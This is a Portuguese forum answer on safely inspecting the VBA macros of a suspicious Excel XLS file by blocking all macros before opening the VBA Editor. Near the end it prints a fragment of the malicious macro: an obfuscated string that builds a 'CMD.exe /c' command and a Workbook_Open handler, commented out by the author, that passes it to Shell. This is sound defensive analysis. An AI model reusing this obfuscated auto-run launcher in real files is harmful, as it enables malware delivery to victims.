Embora as respostas do Mokubai e do hBy2Py pareçam ótimas e de fato permitam exibir o Editor VBA, parece que pelo menos no Excel do Microsoft Office Professional Plus 2016 ainda não permite exibir o código.
Por acaso, possuo essa versão e tinha certeza de que recebi um XLS malicioso e queria inspecioná-lo. Depois de abri-lo no Excel, ele foi aberto no modo de segurança, como de costume, e é claro que eu não tinha a intenção de descartar esse modo. Quando abri o Editor do VBA, como outros entrevistados indicaram, fui apresentado com ... Editor do VBA vazio . O painel "Explorador de projetos" exibiu "Sem projetos abertos", apesar de eu ainda não ter fechado o arquivo XLS. Apenas para fins de teste, abri o segundo documento (um dos meus trabalhos) e ele apareceu imediatamente no Editor do VBA e era (adequadamente) totalmente desprovido de qualquer VBA. No entanto, o documento da Internet não foi listado no Editor do VBA .
Eu perdi algum tempo tentando descobrir por que é isso e não encontrei nenhuma razão. Parece que minha edição do Excel simplesmente não envia módulos VBA para o Editor VBA quando o documento é carregado no modo de segurança. Infelizmente, o VBA Editor não possui o recurso "VBA aberto do Office Document", portanto fica claro que o Excel é o cérebro aqui e ele precisa descompactar / decodificar / qualquer que seja o XLS primeiro.
A solução acabou sendo bastante simples.
- Clique em
Ribbon
-> Developer
->MacroSecurity
- alternativamente,
File
-> Options
-> SecurityCenter
(último grupo de opções) -> Settings
-> Macros
)
- Lembre-se (ou anote) quais são as configurações atuais
- Altere-os para "Bloquear todas as macros sem notificação"
- Confirme, feche, reabra o documento, reabra o Editor do VBA
- Restaure as configurações originais enquanto você termina de brincar com fogo
Efeitos:
- a notificação não apareceu
- documento foi totalmente carregado
- nenhuma macro foi executada
- O Editor VBA pegou os módulos e apresentou todo o código
Caso você esteja curioso: sim, era realmente malicioso, pequeno exemplo:
Function marcopoloko()
marcopoloko = Left("CM to inches converter", 2) + Right("fed.ex", 4) + "e " + "/c" + numneroop + amagilocard
End Function
'Sub Workbook_Open()
'If xlTickMarkOutside > 0 Then
'Shell marcopoloko + """", xlXmlExportSuccess
'End If
'End Sub
Entre. como você pode ver, comentei imediatamente o ponto de entrada e salvei novamente o documento, caso eu permita que as macros sejam executadas em algum momento posterior.
Alt
+F11
pode fazer com que o! SECURITY WARNING ... Enable Content
banner " " desapareça, o que implica que a execução do código agora está ativada. Isso é enganador. Você pode demonstrar isso criando um documento com umon_open()
módulo. Você será capaz deAlt
+F11
e inspecionar o código sem disparar o evento.